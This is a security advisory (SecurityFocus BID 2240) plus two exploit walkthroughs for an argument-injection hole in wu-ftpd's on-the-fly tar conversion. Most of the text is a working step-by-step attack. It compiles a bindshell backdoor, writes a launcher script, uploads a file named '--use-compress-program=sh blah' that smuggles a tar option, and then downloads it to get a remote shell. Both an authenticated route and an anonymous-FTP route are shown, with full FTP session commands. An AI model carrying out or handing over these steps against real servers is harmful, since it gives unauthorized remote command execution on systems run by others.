source: http://www.securityfocus.com/bid/2240/info

Some FTP servers provide a "conversion" service that pipes a requested file through a program, for example a decompression utility such as "tar", before it is passed to the remote user. Under some configurations where this is enabled a remote user can pass a filename beginning with a minus sign to FTP, which will pass this as an argument to the compression/archiver program (where it will be erroneously treated as a command line argument other than a filename). It may be possible to exploit this and execute commands on a remote machine. An example of this exploits the "--use-compress-program PROG" parameter passed to tar; if PROG refers to a program that is accessible to the FTP server, it will be executed. The remote user must have access to a writeable directory in order to exploit this. See exploit for details. 

With a valid FTP account only the server, the difficulty goes right down. You also have the added
benefit of not being stuck in a chroot() environment at the end. Local exploit time.

The exploit goes along much the same lines as the anonymous FTP exploit does:

Create a backdoor, using bindshell from our previous example:

$ gcc bindshell.c -o b -static

If you can perform a SITE CHMOD (default for normal non-anon users on wu-ftpd), then you can
use the following script example. Create a script to exec the desired commands:

$ cat > blah
#!/bin/bash
./b &
^D

Now create empty file "--use-compress-program=bash blah"

$ > "--use-compress-program=bash blah"

FTP to your target, login with your username/password. Upload your 3 files:

ftp> put b
ftp> put blah
ftp> put "--use-compress-program=bash blah"

Do a SITE CHMOD for b and blah:

ftp> quote SITE CHMOD 0755 b
ftp> quote SITE CHMOD 0755 blah

Now get your file:

ftp> get "--use-compress-program=bash blah".tar

Thats all there is to it. You now should have a shell on whatever port you specified.

---

An alternative exploit that bypasses the need to use SITE CHMOD has been suggested by SecuriTeam.com (this can be accomplished over anonymous FTP):

"This vulnerability is simple to exploit. However to exploit it you must be able to upload/download files. (e.g. a mode 0777 incoming directory).

For the purposes of this exploit you also need a shell in the remote path. For example, a RedHat machine with the anonftp package installed has exactly what you need.

First, assuming you are running the same platform as your target, statically compile some sort of backdoor program. A simple example is bindshell.c.

$ gcc bindshell.c -o b -static

Then, tar this up. You will need to tar it up because the remote side will rarely have the ability to change permissions at this stage.
(SITE CHMOD rarely works on anonymous ftp sites)

$ tar -cf b.tar b

Create a script of things you want to do on the remote site, this will be interpreted by bash or sh.

$ cat > blah
#
/bin/tar -xf b.tar
./b
^D

Leave the first line as a comment.

Create a empty file called "--use-compress-program=sh blah"

$ > "--use-compress-program=sh blah"

Connect to your target ftp server.

$ ftp localhost
Connected to localhost.
220 localhost.localdomain FTP server (Version wu-2.6.0(1) Tue Sep 21 10:10:10 EDT 2000) ready.
Name (localhost:suid): ftp
331 Guest login ok, send your complete e-mail address as password.
Password:
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Change to your world writeable directory:

ftp> cd /incoming

Store your files:

ftp> put blah
ftp> put b.tar
ftp> put "--use-compress-program=sh blah"

Now using TAR conversion, get your "--use-compress-program=sh blah" file.

ftp> get "--use-compress-program=sh blah".tar

It should open a connection then freeze. Now telnet to your bindshell port."